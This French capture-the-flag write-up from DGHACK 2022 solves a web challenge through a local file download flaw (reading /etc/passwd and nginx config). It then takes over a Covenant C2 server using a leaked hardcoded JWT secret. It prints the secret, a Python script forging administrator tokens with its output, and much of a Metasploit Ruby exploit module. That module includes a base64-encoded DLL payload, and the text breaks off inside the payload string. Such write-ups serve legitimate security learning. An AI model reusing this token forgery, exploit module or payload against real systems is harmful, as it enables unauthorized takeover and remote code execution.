Hacker des hackeurs (Un chasseur sachant chasser)

Bonjour et bienvenue sur ce premier write-up des challenges de la DGHACK édition 2022 organisé par la Direction Générale de l’Armement du Ministère des Armées.

Pour ce premier write-up, je vous explique comment j’ai pu résoudre la série de challenge web « un chasseur sachant chasser ».

C’est parti !

Description Partie 1

Des analystes SOC du Ministère des Armées ont remarqué des flux suspects provenant de machines internes vers un site vitrine d’une entreprise. Pourtant ce site semble tout à fait légitime.

Vous avez été mandaté par la Direction Générale de l’Armement pour mener l’enquête. Trouvez un moyen de reprendre partiellement le contrôle du site web afin de trouver comment ce serveur joue un rôle dans l’infrastructure de l’acteur malveillant.

Aucun fuzzing n’est nécessaire.

Le flag se trouve sur le serveur à l’endroit permettant d’en savoir plus sur l’infrastructure de l’attaquant.

Partie 1: Local File Download

Après une visite rapide du site, on trouve vite une LFD, pour Local File Download, qui n’est en réalité qu’une LFI (Local File Inclusion) dans laquelle on récupère le résultat sous la forme d’un téléchargement direct.

Un clique sur le bouton redirige vers http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=menu_updated_09_11_2022.jpg . On modifie le parametre get menu par le path du fichier qui nous interesse.

Poc: http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=/etc/passwd

Rien de très compliqué ensuite, on inclus quelques fichiers pouvant être intéressant (/etc/passwd, /etc/hosts)

puis on se jette directement sur les fichiers de configurations du serveur web à la recherche d’un vhost ou de quelque chose du genre. On tente les fichiers de configuration d’apache2, sans résultat, puis ceux de nginx. Bingo ! On obtient alors le premier flag dans le nginx.conf, ainsi que de précieuse information qui nous serviront pour la suite.

Pas de vhost ici, mais un endpoint bien étrange qui redirige les requêtes vers un containers docker qui semble, d’après les commentaires, être un C2 Covenant.

Description Partie 2

A présent que vous avez une idée de l’infrastructure de l’attaquant, il vous est demandé de l’exploiter.

Prenez totalement le contrôle du CnC.

Aucun bruteforce n’est nécessaire.

Le flag se trouve dans le fichier /flag.txt.

Partie 2: Exploitation du covenant

1. Découverte du covenant

Bon on rentre dans le dure. Après quelques recherches, on a bien la confirmation qu’il s’agit d’un covenant:

Mais l’interface web est totalement bugé (les ressources chargées par le covenant sont cherchées à la racine du site et pas sur l’endpoint). Par chance on apprend que Covenant dispose d’une api avec laquelle on va pouvoir interagir (ici). La documentation étant faible en contenue, je décide d’installer moi même mon convenant en local afin de comprendre un peu comment tout marche (ce que je vous invite à faire).

2. La première faille: crafter son propre token administrateur

On comprends un peu toutes les fonctionnalités proposés par l’outil, mais rien qui nous permet de lire le fichier flag.txt se situant à la racine. En approfondissant mes recherches, je tombe sur cet article: hunting the hunters, qui nous fait penser au nom du challenge « un chasseur sachant chasser ». On y apprend qu’il y a eu un commit sur le repo github de covenant dans lequel un développeur a entré une clé en dure là où il ne fallait pas.

Pour être plus précis, une clé aléatoire est généré lors de l’installation de covenant et est stocké dans Covenant/Data/appsettings.json. Elle permet de chiffrer les jeton jwt (qui servent à garentir l’authentification lors de l’appel à l’api). Cette nouvelle clé est uniquement générée dans le cas où sa valeur actuelle dans le fichier json est la valeur par défaut, c’est à dire:

"JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",

Seulement lors de ce fameux commit, le développeur a oublié de remettre la valeur par défaut de la clé dans le fichier json, ce qui signifie que toutes les services covenant issue de ce commit auront la clé du developpeur.

Cet oublie permet donc de connaitre la valeur de la jwtkey et donc nous offre la possibilité de générer nos propres tokens. On peut d’ailleurs tester ce token et récupéré la liste des utilisateurs en contactant l’api.

import jwt
import requests
data = {"JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"}

content = {
    "sub": "hackline",
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "df34c0a2fd5b408ab4fe0c1ac98d5677",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User"
    ],
    "exp": 1968264576,
    "iss": "Covenant",
    "aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
print(token)

print requests.get("http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/api/users",
		headers={"Content-Type":"application/json",
		"Authorization":"Bearer " + token}).text

Petite explication: on génère ici un token avec un nom d’utilisateur et un jti arbitraire (il n’est pas nécessaire d’avoir un utilisateur/jti valide pour accéder à l’endpoint users).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoYWNrbGluZSIsImlzcyI6IkNvdmVuYW50IiwianRpIjoiOTI1Zjc0Y2EtZmM4Yy0yN2M2LTI0YmUtNTY2YjExYWI2NTg1IiwiZXhwIjoxOTY4MjY0NTc2LCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6ImRmMzRjMGEyZmQ1YjQwOGFiNGZlMGMxYWM5OGQ1Njc3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlVzZXIiXSwiYXVkIjoiQ292ZW5hbnQifQ.3w7Wgt4NrVn1F5jJZNGh7lbi12eCHBInHr4MSwof40Y
[{"id":"bd0f04cd-8363-4913-acbf-58dcaf173ecf","userName":"ServiceUser","normalizedUserName":"SERVICEUSER","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"S5PFNI5PDUGUKSNQYYORIAVTHXROHUBG","concurrencyStamp":"4a31b76b-3f79-49f0-aea9-615d9cba5899","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0},{"id":"5cff0c3a-cef3-4f94-90c4-ff27816ea063","userName":"DGHACK_ADMIN","normalizedUserName":"DGHACK_ADMIN","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"QCE2U7JRKO36CDQEHDVOI7N4H2LKZK3W","concurrencyStamp":"e6dcb5cd-0cf0-4a0e-a549-d4e12a6d2aac","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0}]

On obtient là liste des utilisateurs du covenant, ainsi que quelques informations à leur propos. Parmis ces utilisateurs, on remarque le DGHACK_ADMIN, que l’on suspecte d’appartenir au groupe administrateur du covenant, ce qui est super car il nous permettrait d’acceder à toutes les fonctionnalitées de l’api. On craft donc son token:

content = {
    "sub": "DGHACK_ADMIN",
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "75110aef-589c-4e5c-91e3-865ea8dfb2d6",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User",
        "Administrator"
    ],
    "exp": 1968264576,
    "iss": "Covenant",
    "aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')

Et ça y’est, on a accès à toutes les fonctionnalités de l’API !

3. RCE: ça se corce

Tout ça est bien sympa, mais le challenge ne s’arrête pas là, il nous faut RCE pour lire le fameux fichier flag.txt à la racine du docker. L’article hunter-hunting-hunter aborde la partie RCE, mais malheureusement il ne propose pas de script d’exploitation de la vulnérabilité et laisse seulement au lecteur une vague idée sur le cheminement de l’attaque. Fainéant comme je suis, je cherche donc un script tout prêt et fonctionnel pour exploiter la vulnérabilité, mais je ne trouve que ça: un script metasploit en Ruby qu’il va falloir faire fonctionner.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Covenant C2 JWT Remote Code Execution Exploit',
      'Description' => %q{
        Due to an accidental commit of an ephemeral development application settings file, the secret
        value of all JWTs issued by Covenant was locked to a single value across all deployments.
        This vulnerability affect all Covenant from March 3rd, 2019 to July 13th, 2020.
      },
      'Author' => [
        'mekhalleh (RAMELLA Sébastien)' # module author (Zeop Entreprise)
      ],
      'References' => [
        ['URL', 'https://blog.null.farm/hunting-the-hunters'],
      ],
      'DisclosureDate' => '2020-10-27',
      'License' => MSF_LICENSE,
      'Platform' => ['windows'],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Privileged' => true,
      'DefaultOptions' => {
        'RPORT' => 7443,
        'SSL' => true
      },
      'Targets' => [
        ['Automatic (DLL)',
          'Platform' => 'windows',
          'Arch' => [ARCH_X86, ARCH_X64],
          'Type' => :dll,
          #'DefaultOptions' => {
          #  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          #}
        ],
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptInt.new('C2_RPORT', [true, 'The TCP port for the listener.', 8080])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def aes256_cbc_encrypt(key, data)
    key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
    iv = SecureRandom.random_bytes(16)
    iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)

    aes = OpenSSL::Cipher.new('AES-256-CBC')
    aes.encrypt
    aes.key = key
    aes.iv = iv
    ciphered = aes.update(data) + aes.final

    hmac = OpenSSL::Digest.new('sha256')
    signed = OpenSSL::HMAC.digest(hmac, key, ciphered)

    return([ciphered, iv, signed])
  end

  def check_tcp_port(ip, port)
    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => ip,
        'PeerPort' => port,
        'Proxies' => datastore['Proxies']
      )
    rescue ::Rex::ConnectionRefused, Rex::ConnectionError
      return false
    end

    sock.close
    return true
  end

  def create_listener(profile_id)
    data = {
      'useSSL': false,
      'urls': [
        "http://#{datastore['RHOSTS']}:#{datastore['C2_RPORT']}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72"
      ],
      'id': 0,
      'name': @listener_name,
      'bindAddress': "#{datastore['RHOSTS']}",
      'bindPort': datastore['C2_RPORT'],
      'connectAddresses': [
        "#{datastore['RHOSTS']}"
      ],
      'connectPort': datastore['C2_RPORT'],
      'profileId': profile_id.to_i,
      'listenerTypeId': read_listener_type('HTTP'),
      'status': 'Active'
    }
    response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)

    return true if response && response.code == 200

    false
  end

  def generate_jwt(username = nil, userid = nil)
    secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
    username = Rex::Text.rand_text_alpha(6..8) if username.nil?
    userid = random_id if username.nil?

    jwt_hdr = {'typ':'JWT', 'alg':'HS256'}
    jwt_pld = {
      'sub': "#{username}",
      'jti': "#{random_id}",
      'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': "#{userid}",
      'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ["User", "Administrator"],
      'exp': 1615445546,
      'iss': 'Covenant',
      'aud': 'Covenant'
    }

    token_hdr = Base64.urlsafe_encode64(jwt_hdr.to_json.encode('utf-8')).gsub('=', '')
    token_pld = Base64.urlsafe_encode64(jwt_pld.to_json.encode('utf-8')).gsub('=', '')

    digest_sha256 = OpenSSL::Digest.new('sha256')
    signature = Base64.urlsafe_encode64(OpenSSL::HMAC.digest(digest_sha256, secret, "#{token_hdr}.#{token_pld}"))

    return "#{token_hdr}.#{token_pld}.#{signature.gsub('=', '')}"
  end

  def generate_stage0(aes_key, guid)
    headers = {}
    headers['Cookies'] = "ASPSESSIONID=#{guid}; SESSIONID=1552332971750"

    message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'

    ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(aes_key), message)
    data = {
      'GUID': "#{guid}",
      'Type': 0,
      'Meta': '',
      'IV': Base64.encode64(iv).strip,
      'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
      'HMAC': Base64.encode64(signed).strip
    }

    begin
      cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['C2_RPORT'], {}, false, nil, datastore['Proxies'])
      cli.connect

      request = cli.request_cgi({
        'method' => 'POST',
        'uri' => '/en-us/test.html',
        'headers' => headers,
        'agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'vars_post' => {
          'i' => 'a19ea23062db990386a3a478cb89d52e',
          'data' => Base64.urlsafe_encode64(data.to_json),
          'session' => '75db-99b1-25fe4e9afbe58696-320bea73'

        }
      })
      response = cli.send_recv(request)
      cli.close
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error('HTTP connection failed.')
      return false
    end
  end

  def generate_transform_payload # TODO
    # POC: execute calc
    # dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
    dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0u